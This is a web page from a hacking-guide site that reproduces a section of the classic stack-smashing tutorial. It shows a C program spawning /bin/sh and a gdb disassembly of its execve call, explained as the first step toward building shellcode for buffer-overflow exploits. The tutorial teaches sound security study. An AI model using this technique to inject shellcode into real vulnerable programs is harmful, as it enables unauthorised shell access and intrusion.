Chat with
Hackers

How to Defend
Your Computer 

The Heretic! 
A Hacker Thriller

The Guides
to (mostly) 
Harmless Hacking

Happy Hacker 
Digests 

Hacker Links 

Hacker
Wargames 

Meet the 
Happy Hacksters 

Help for 
Beginners 

Hacker 
Bookstore 

Humor 

It Sucks 
to Be Me!

How to Commit
Computer Crime! 

What Is a 
Hacker, Anyhow? 

Have a 
Great Life! 

News from the 
Hacker War Front

Shell Code ~~~~~~~~~~

So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S stands for the code we want to execute the stack would then look like this:

 

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c

<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| top of bottom of stack stack

The code to spawn a shell in C looks like:

shellcode.c ----------------------------------------------------------------------------- #include <stdio.h>

void main() { char *name[2];

name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------

To find out what does it looks like in assembly we compile it, and start up gdb. Remember to use the -static flag. Otherwise the actual code the for the execve system call will not be included. Instead there will be a reference to dynamic C library that would normally would be linked in at load time.

------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), © 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------

Lets try to understand what is going on here. We'll start by studying main:

------------------------------------------------------------------------------ 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp

This is the procedure prelude. It first saves the old frame pointer, makes the current stack pointer the new frame pointer, and leaves space for the local variables. In this case its:

char *name[2];

or 2 pointers to a char. Pointers are a word long, so it leaves space for two words (8 bytes).

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)

We copy the value 0x80027b8 (the address of the string "/bin/sh") into the first pointer of name[]. This is equivalent to:

name[0] = "/bin/sh";

0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)

We copy the value 0x0 (NULL) into the seconds pointer of name[]. This is equivalent to:

name[1] = NULL;

The actual call to execve() starts here.

0x8000144 <main+20>: pushl $0x0

We push the arguments to execve() in reverse order onto the stack. We start with NULL.

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

We load the address of name[] into the EAX register.

0x8000149 <main+25>: pushl %eax

We push the address of name[] onto the stack.

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

We load the address of the string "/bin/sh" into the EAX register.

0x800014d <main+29>: pushl %eax

We push the address of the string "/bin/sh" onto the stack.

0x800014e <main+30>: call 0x80002bc <__execve>

Call the library procedure execve(). The call instruction pushes the IP onto the stack. ------------------------------------------------------------------------------

Now execve(). Keep in mind we are using a Intel based Linux system. The syscall details will change from OS to OS, and from CPU to CPU. Some will pass the arguments on the stack, others on the registers. Some use a software interrupt to jump to kernel mode, others use a far call. Linux passes its arguments to the system call on the registers, and uses a software interrupt to jump into kernel mode.

------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx

The procedure prelude.

0x80002c0 <__execve+4>: movl $0xb,%eax

Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is execve.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

Copy the address of "/bin/sh" into EBX.

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

Copy the address of name[] into ECX.

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

Copy the address of the null pointer into %edx.

0x80002ce <__execve+18>: int $0x80

Change into kernel mode. ------------------------------------------------------------------------------MM

More smashing the stack--->>


Carolyn's most
popular book,
in 4th edition now!
For advanced
hacker studies,
read Carolyn's
Google Groups
Subscribe to Happy Hacker
Email:
Visit this group

My SQL for Free


 HOME | THE HAPPY HACKER BOOK | HACKER WARGAMES
GUIDES TO (MOSTLY) HARMLESS HACKING
THE HAPPY HACKER BOOKSTORE | HACKER LINKS
NEWS & VIEWS
CONTACT US | WEBMASTER

Return to the index of Guides to (mostly) Harmless Hacking!

© 2001 Happy Hacker All rights reserved.